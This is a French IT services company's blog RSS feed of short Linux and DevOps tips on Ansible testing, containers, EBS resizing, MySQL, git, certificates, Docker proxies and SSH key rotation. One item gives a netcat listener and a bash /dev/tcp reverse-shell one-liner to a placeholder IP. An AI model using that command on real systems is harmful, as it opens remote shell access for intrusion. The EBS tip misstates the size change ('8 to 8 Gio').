<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Maje informatique &#187; Blog technique</title>
	<atom:link href="http://www.maje.biz/category/blog-technique/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.maje.biz</link>
	<description>Votre société de services en logiciels libre</description>
	<lastBuildDate>Mon, 05 Sep 2022 14:33:48 +0000</lastBuildDate>
	<language>fr-FR</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=4.2.2</generator>
	<item>
		<title>Linux Pratique n°128 &#8211; Testez vos rôles Ansible avec Molecule</title>
		<link>http://www.maje.biz/linux-pratique-n128-testez-vos-roles-ansible-avec-molecule/</link>
		<comments>http://www.maje.biz/linux-pratique-n128-testez-vos-roles-ansible-avec-molecule/#comments</comments>
		<pubDate>Wed, 19 Jan 2022 06:59:38 +0000</pubDate>
		<dc:creator><![CDATA[Maje Informatique]]></dc:creator>
				<category><![CDATA[Blog technique]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.maje.biz/?p=1032</guid>
		<description><![CDATA[Voilà bien un outil pratique qui permet de tester vos rôles Ansible ! Ansible a pris tellement d&#8217;importance qu&#8217;il est indispensable de s&#8217;assurer de la validité et de l&#8217;idempotence des rôles. Molecule vous aide à tester vos rôles en enchainant des étapes pénibles comme la création de l&#8217;environnement de test, l&#8217;application des rôles, la vérification [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><a href="http://www.maje.biz/wp-content/uploads/2022/01/linux-pratique-128.jpg"><img class="alignnone size-medium wp-image-1028" src="http://www.maje.biz/wp-content/uploads/2022/01/linux-pratique-128-225x300.jpg" alt="linux-pratique-128" width="225" height="300" /></a></p>
<p>Voilà bien un outil pratique qui permet de tester vos rôles <strong>Ansible</strong> ! <strong>Ansible</strong> a pris tellement d&rsquo;importance qu&rsquo;il est indispensable de s&rsquo;assurer de la validité et de l&rsquo;idempotence des rôles. <strong>Molecule</strong> vous aide à tester vos rôles en enchainant des étapes pénibles comme la création de l&rsquo;environnement de test, l&rsquo;application des rôles, la vérification des résultats (que vous pouvez aussi exprimer à l&rsquo;aide de <em>Playbooks</em> !), puis le test d&rsquo;idempotence et enfin le grand nettoyage !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maje.biz/linux-pratique-n128-testez-vos-roles-ansible-avec-molecule/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux Pratique n°128 &#8211; Les Containers avec Singularity</title>
		<link>http://www.maje.biz/linux-pratique-n128-les-containers-avec-singularity/</link>
		<comments>http://www.maje.biz/linux-pratique-n128-les-containers-avec-singularity/#comments</comments>
		<pubDate>Wed, 19 Jan 2022 06:54:31 +0000</pubDate>
		<dc:creator><![CDATA[Maje Informatique]]></dc:creator>
				<category><![CDATA[Blog technique]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.maje.biz/?p=1029</guid>
		<description><![CDATA[Cet article décrit la solution de containerisation Singularity qui propose une solution adapteé à l&#8217;usage des containers principalement sur les clusters de calcul (HPC). Par opposition à Docker, aucun démon n&#8217;est nécessaire, aucun privilège &#171;&#160;root&#160;&#187; n&#8217;est requis&#8230;]]></description>
				<content:encoded><![CDATA[<p><a href="http://www.maje.biz/wp-content/uploads/2022/01/linux-pratique-128.jpg"><img class="alignnone size-medium wp-image-1028" src="http://www.maje.biz/wp-content/uploads/2022/01/linux-pratique-128-225x300.jpg" alt="linux-pratique-128" width="225" height="300" /></a></p>
<p>Cet article décrit la solution de containerisation <strong>Singularity</strong> qui propose une solution adapteé à l&rsquo;usage des containers principalement sur les clusters de calcul (HPC). Par opposition à Docker, aucun démon n&rsquo;est nécessaire, aucun privilège &laquo;&nbsp;root&nbsp;&raquo; n&rsquo;est requis&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maje.biz/linux-pratique-n128-les-containers-avec-singularity/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux Mag n°248 &#8211; Comment interfacer Nagios et Grafana !</title>
		<link>http://www.maje.biz/linux-mag-n248-comment-interfacer-nagios-et-grafana/</link>
		<comments>http://www.maje.biz/linux-mag-n248-comment-interfacer-nagios-et-grafana/#comments</comments>
		<pubDate>Sun, 25 Apr 2021 19:05:56 +0000</pubDate>
		<dc:creator><![CDATA[Maje Informatique]]></dc:creator>
				<category><![CDATA[Blog technique]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.maje.biz/?p=1020</guid>
		<description><![CDATA[Cet article propose une solution simple, à base de scripts Python, pour faire afficher les alertes de Nagios dans un tableau de Grafana.]]></description>
				<content:encoded><![CDATA[<p>Cet article propose une solution simple, à base de scripts Python, pour faire afficher les alertes de Nagios dans un tableau de Grafana.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maje.biz/linux-mag-n248-comment-interfacer-nagios-et-grafana/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Retailler un disque EBS</title>
		<link>http://www.maje.biz/retailler-un-disque-ebs/</link>
		<comments>http://www.maje.biz/retailler-un-disque-ebs/#comments</comments>
		<pubDate>Tue, 05 Jan 2021 08:55:16 +0000</pubDate>
		<dc:creator><![CDATA[Maje Informatique]]></dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Blog technique]]></category>

		<guid isPermaLink="false">http://www.maje.biz/?p=1012</guid>
		<description><![CDATA[Une fois la taille du disque EBS augmentée, la commande lsblk doit refléter cette augmentation. Ici le disque /dev/nvme0n1 est passé de 8 à 8 Gio: $ lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT nvme0n1 259:0 0 9G 0 disk ├─nvme0n1p1 259:1 0 8G 0 part / └─nvme0n1p128 259:2 0 1M 0 part Dans [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Une fois la taille du disque EBS augmentée, la commande <code>lsblk</code> doit refléter cette augmentation. Ici le disque <code>/dev/nvme0n1</code> est passé de 8 à 8 Gio:</p>
<pre class="  language-plainText"><code class="language-  language-plainText">$ lsblk
NAME          MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
nvme0n1       259:0    0   9G  0 disk
├─nvme0n1p1   259:1    0   8G  0 part /
└─nvme0n1p128 259:2    0   1M  0 part
</code></pre>
<p>Dans notre cas, il s&rsquo;agit d&rsquo;augmenter la taille d&rsquo;une partition. Si ce n&rsquo;est pas le cas et qu&rsquo;il s&rsquo;agit d&rsquo;augmenter la taille d&rsquo;un système de fichiers situé sur un disque, utilisez directement la commande de retaillage du type de système de fichiers (<code>resize2fs</code> ou <code>xfs_growfs</code>).</p>
<p>Attention, la commande suivante a besoin de créer des fichiers temporaires, il faut donc de l&rsquo;espace sous <code>/tmp</code>. Pour cela, créez un système de fichiers de type <code>tmpfs</code> :</p>
<pre class="  language-plainText"><code class="language-  language-plainText">$ sudo mount -o size=10M,rw,nodev,nosuid -t tmpfs tmpfs /tmp</code></pre>
<p>Pour augmenter la taille de la partition :</p>
<pre class="  language-plainText"><code class="language-  language-plainText">$ sudo growpart /dev/nvme0n1 1</code></pre>
<p>Pour retailler le système de fichiers (ici, de type XFS) :</p>
<pre class="  language-plainText"><code class="language-  language-plainText">$ sudo xfs_growfs -d /</code></pre>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maje.biz/retailler-un-disque-ebs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Créer un &#171;&#160;reverse-shell&#160;&#187; en 2 commandes</title>
		<link>http://www.maje.biz/creer-un-reverse-shell-en-2-commandes/</link>
		<comments>http://www.maje.biz/creer-un-reverse-shell-en-2-commandes/#comments</comments>
		<pubDate>Thu, 31 Dec 2020 08:37:35 +0000</pubDate>
		<dc:creator><![CDATA[Maje Informatique]]></dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Blog technique]]></category>

		<guid isPermaLink="false">http://www.maje.biz/?p=1010</guid>
		<description><![CDATA[Sur votre machine locale qui est votre machine de contrôle, vous lancez un serveur TCP à l&#8217;écoute du port souhaité : $ nc -lvp 4242 (on suppose que l&#8217;adresse IP de cette machine est 1.2.3.4) Sur la machine distante, sur laquelle vous souhaitez exécuter un &#171;&#160;reverse-shell&#160;&#187;, vous lancez la commande suivante : # bash -c [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Sur votre machine locale qui est votre machine de contrôle, vous lancez un serveur TCP à l&rsquo;écoute du port souhaité :</p>
<pre>$ nc -lvp 4242</pre>
<p>(on suppose que l&rsquo;adresse IP de cette machine est 1.2.3.4)</p>
<p>Sur la machine distante, sur laquelle vous souhaitez exécuter un &laquo;&nbsp;reverse-shell&nbsp;&raquo;, vous lancez la commande suivante :</p>
<pre># bash -c "sh - i &gt;&amp;/dev/tcp/1.2.3.4/4242 0&gt;&amp;1"</pre>
<p>&#8230;et le tour est joué !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maje.biz/creer-un-reverse-shell-en-2-commandes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Obtenir la taille des bases MySQL/MariaDB</title>
		<link>http://www.maje.biz/obtenir-la-taille-des-bases-mysqlmariadb/</link>
		<comments>http://www.maje.biz/obtenir-la-taille-des-bases-mysqlmariadb/#comments</comments>
		<pubDate>Thu, 26 Nov 2020 17:13:53 +0000</pubDate>
		<dc:creator><![CDATA[Maje Informatique]]></dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Blog technique]]></category>

		<guid isPermaLink="false">http://www.maje.biz/?p=1001</guid>
		<description><![CDATA[SELECT COUNT(*) AS Total_Table_Count ,table_schema ,CONCAT(ROUND(SUM(table_rows)/1000000,2),'M') AS Total_Row_Count ,CONCAT(ROUND(SUM(data_length)/(1024*1024*1024),2),'G') AS Total_Table_Size ,CONCAT(ROUND(SUM(index_length)/(1024*1024*1024),2),'G') AS Total_Table_Index ,CONCAT(ROUND(SUM(data_length+index_length)/(1024*1024*1024),2),'G') Total_Size FROM information_schema.TABLES GROUP BY table_schema ORDER BY SUM(data_length+index_length);]]></description>
				<content:encoded><![CDATA[<pre class="code">SELECT
	COUNT(*) AS Total_Table_Count
	,table_schema
	,CONCAT(ROUND(SUM(table_rows)/1000000,2),'M') AS Total_Row_Count
	,CONCAT(ROUND(SUM(data_length)/(1024*1024*1024),2),'G') AS Total_Table_Size
	,CONCAT(ROUND(SUM(index_length)/(1024*1024*1024),2),'G') AS Total_Table_Index
	,CONCAT(ROUND(SUM(data_length+index_length)/(1024*1024*1024),2),'G') Total_Size
FROM information_schema.TABLES
GROUP BY table_schema
ORDER BY SUM(data_length+index_length);</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.maje.biz/obtenir-la-taille-des-bases-mysqlmariadb/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mettre à jour un fichier .gitignore</title>
		<link>http://www.maje.biz/mettre-a-jour-un-fichier-gitignore/</link>
		<comments>http://www.maje.biz/mettre-a-jour-un-fichier-gitignore/#comments</comments>
		<pubDate>Tue, 04 Feb 2020 13:24:31 +0000</pubDate>
		<dc:creator><![CDATA[Maje Informatique]]></dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Blog technique]]></category>

		<guid isPermaLink="false">http://www.maje.biz/?p=998</guid>
		<description><![CDATA[Vous disposez d&#8217;un dépôt GIT qui contient déjà des fichiers ainsi qu&#8217;un fichier .gitignore. Vous modifiez maintenant votre fichier .gitignore pour &#171;&#160;ignorer&#160;&#187; de nouveaux fichiers mais qui ont déjà été enregistrés dans le dépôt : comment les faire &#171;&#160;disparaître&#160;&#187; ? &#171;&#160;commitez&#160;&#187; toutes vos modifications actuelles, y compris votre fichier .gitignore nettoyez votre cache local ainsi [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Vous disposez d&rsquo;un dépôt GIT qui contient déjà des fichiers ainsi qu&rsquo;un fichier .gitignore. Vous modifiez maintenant votre fichier .gitignore pour &laquo;&nbsp;ignorer&nbsp;&raquo; de nouveaux fichiers mais qui ont déjà été enregistrés dans le dépôt : comment les faire &laquo;&nbsp;disparaître&nbsp;&raquo; ?</p>
<ol>
<li>&laquo;&nbsp;commitez&nbsp;&raquo; toutes vos modifications actuelles, y compris votre fichier .gitignore</li>
<li>nettoyez votre cache local ainsi :
<pre>git rm -r --cached .</pre>
<ol>
<li><code>rm</code> est le &laquo;&nbsp;remove&nbsp;&raquo;</li>
<li><code>-r</code> sera récursif</li>
<li><code>--cached</code> ne supprimera les fichiers que de l&rsquo;index</li>
<li><code>.</code> indique que tous les fichiers seront marqués &laquo;&nbsp;untracked&nbsp;&raquo; (car pour &laquo;&nbsp;untracker&nbsp;&raquo; un fichier il faut faire un <code>git rm --cached foo.txt</code>)</li>
</ol>
</li>
<li>ajoutez à nouveau tous les fichiers à GIT :
<pre>git add .</pre>
</li>
<li>enregistrez la modification de <code>.gitignore</code> :
<pre>git commit -m ".gitignore fix"</pre>
</li>
<li>puis faites le &laquo;&nbsp;push&nbsp;&raquo;</li>
</ol>
<p>(source : http://www.codeblocq.com/2016/01/Untrack-files-already-added-to-git-repository-based-on-gitignore/)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maje.biz/mettre-a-jour-un-fichier-gitignore/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>(Re)générer rapidement un certificat auto-signé</title>
		<link>http://www.maje.biz/regenerer-rapidement-un-certificat-auto-signe/</link>
		<comments>http://www.maje.biz/regenerer-rapidement-un-certificat-auto-signe/#comments</comments>
		<pubDate>Tue, 03 Sep 2019 13:34:16 +0000</pubDate>
		<dc:creator><![CDATA[Maje Informatique]]></dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Blog technique]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.maje.biz/?p=989</guid>
		<description><![CDATA[$ openssl genrsa -out service.key 2048 $ openssl req -new -key service.key -out service.csr $ openssl x509 -req -days 365 -in service.csr -signkey service.key -out service.crt Recopiez le fichier *.crt et le fichier *.key &#171;&#160;aux bons endroits&#160;&#187; et voilà ! Attention, lors de la 2ème étape vous devrez donner le nom du serveur : indiquez [&#8230;]]]></description>
				<content:encoded><![CDATA[<pre>$ openssl genrsa -out service.key 2048
$ openssl req -new -key service.key -out service.csr
$ openssl x509 -req -days 365 -in service.csr -signkey service.key -out service.crt</pre>
<p>Recopiez le fichier <strong>*.crt</strong> et le fichier <strong>*.key</strong> &laquo;&nbsp;aux bons endroits&nbsp;&raquo; et voilà !</p>
<p>Attention, lors de la 2ème étape vous devrez donner le nom du serveur : indiquez bien le nom attendu par l&rsquo;application cliente, sinon utilisez les extensions (voir le fichier <strong>openssl.cnf</strong>) qui permettent d&rsquo;ajouter des <strong>subjectAltName</strong>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maje.biz/regenerer-rapidement-un-certificat-auto-signe/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Configurer un proxy pour le démon dockerd</title>
		<link>http://www.maje.biz/configurer-un-proxy-pour-le-demon-dockerd/</link>
		<comments>http://www.maje.biz/configurer-un-proxy-pour-le-demon-dockerd/#comments</comments>
		<pubDate>Tue, 03 Sep 2019 13:25:04 +0000</pubDate>
		<dc:creator><![CDATA[Maje Informatique]]></dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Blog technique]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.maje.biz/?p=984</guid>
		<description><![CDATA[Si le démon dockerd possède 3 variables d&#8217;environnement pour sa configuration de proxy (HTTP_PROXY, HTTPS_PROXY et NOPROXY), l&#8217;accès à une Registry externe (celle du Hub de Docker par exemple) se fait forcément en HTTPS&#8230; et c&#8217;est là que les petits problèmes commencent&#8230; Pour configurer les variables d&#8217;environnement avec un démon géré par systemd, créez le [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Si le démon <strong>dockerd</strong> possède 3 variables d&rsquo;environnement pour sa configuration de proxy (<strong>HTTP_PROXY</strong>, <strong>HTTPS_PROXY</strong> et <strong>NOPROXY</strong>), l&rsquo;accès à une <em>Registry</em> externe (celle du Hub de Docker par exemple) se fait forcément en HTTPS&#8230; et c&rsquo;est là que les petits problèmes commencent&#8230;</p>
<p>Pour configurer les variables d&rsquo;environnement avec un démon géré par <strong>systemd</strong>, créez le répertoire <strong>/etc/systemd/system/docker.service.d</strong> puis ajoutez le fichier <strong>proxy.conf</strong> contenant la définition des variables d&rsquo;environnement. Par exemple :</p>
<pre class="jw jx jy jz ka hg er lo"><span id="9b0c" class="lp ko fu bs lq b eb lr ls l lt" data-selectable-paragraph="">[Service]
Environment="HTTP_PROXY=<a class="bb cn lz ma mb mc" href="http://127.0.0.1:3128/" target="_blank">http://mon_proxy:3128</a>"
Environment="HTTPS_PROXY=<a class="bb cn lz ma mb mc" href="http://127.0.0.1:3128/" target="_blank">http://mon_proxy:3129</a>"
Environment="NO_PROXY=localhost,127.0.0.1,172.17.0.1,172.30.1.1"</span></pre>
<p>Puis exécutez les commandes suivantes :</p>
<pre># systemctl dameon-reload
# systemctl restart docker</pre>
<p>et un petit test&#8230;.</p>
<pre>$ docker search ubuntu</pre>
<p>Attention :</p>
<ul>
<li>si votre proxy utilise un certificat auto-signé, vous devrez rajouter l&rsquo;option suivante dans la configuration du démon</li>
</ul>
<pre>--insecure-registry proxy:port</pre>
<ul>
<li>si votre proxy utilise un certificat signé par une CA, exécutez les commandes suivantes :</li>
</ul>
<pre>$ sudo cp mon_cert.crt /etc/pki/ca-trust/source/anchors</pre>
<pre>$ sudo update-ca-trust extract</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.maje.biz/configurer-un-proxy-pour-le-demon-dockerd/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Effectuer la rotation des clés des serveurs SSHD en douceur</title>
		<link>http://www.maje.biz/effectuer-la-rotation-des-cles-des-serveurs-sshd-en-douceur/</link>
		<comments>http://www.maje.biz/effectuer-la-rotation-des-cles-des-serveurs-sshd-en-douceur/#comments</comments>
		<pubDate>Sat, 02 Jun 2018 16:14:27 +0000</pubDate>
		<dc:creator><![CDATA[Maje Informatique]]></dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Blog technique]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.maje.biz/?p=970</guid>
		<description><![CDATA[Depuis la version 6.8 de OpenSSH (disponible à partir de la RHEL/CentOS 7.4), il est possible d&#8217;effectuer des rotations des clés de serveurs pour le service SSH, tout en douceur pour l&#8217;utilisateur. Quel est le problème ? Vous savez bien que lors d&#8217;un changement de clés côté serveur, le client va devoir valider l&#8217;empreinte de [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Depuis la version 6.8 de OpenSSH (disponible à partir de la RHEL/CentOS 7.4), il est possible d&rsquo;effectuer des rotations des clés de serveurs pour le service SSH, tout en douceur pour l&rsquo;utilisateur.</p>
<p>Quel est le problème ?</p>
<p>Vous savez bien que lors d&rsquo;un changement de clés côté serveur, le client va devoir valider l&rsquo;empreinte de la nouvelle clé, ce qui risque de surprendre l&rsquo;utilisateur consciencieux qui va se croire victime d&rsquo;une attaque Mitm !</p>
<p>Avec la nouvelle version de OpenSSH, plus de risque d&rsquo;apeurer vos utilisateurs ou clients.</p>
<p>La solution :</p>
<ul>
<li>générez vos nouvelles clés sous /etc/ssh/, avec l&rsquo;algorithme ecdsa sur 521 bits par exemple:
<pre># ssh-keygen -t ecdsa -b 521</pre>
</li>
<li>ajoutez les nouvelles directives HostKey après celles qui existent déjà</li>
<li>demandez aux utilisateurs d&rsquo;ajouter l&rsquo;option &laquo;&nbsp;UpdateHostKeys yes&nbsp;&raquo; (ou &laquo;&nbsp;ask&nbsp;&raquo;) dans la configuration de leur client SSH ou bien d&rsquo;ajouter cette option. Par exemple:
<pre>$ ssh -o UpdateHostKeys=ask serveur</pre>
</li>
<li>lors de la connexion au serveur, le client SSH va aspirer toutes les clés du serveurs et mettre le fichier known_hosts à jour</li>
<li>après un &laquo;&nbsp;certain temps&nbsp;&raquo;, estimant que tous les utilisateurs ont aspiré les nouvelles clés, il ne reste plus qu&rsquo;à l&rsquo;administrateur qu&rsquo;à supprimer les anciennes clés !</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.maje.biz/effectuer-la-rotation-des-cles-des-serveurs-sshd-en-douceur/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
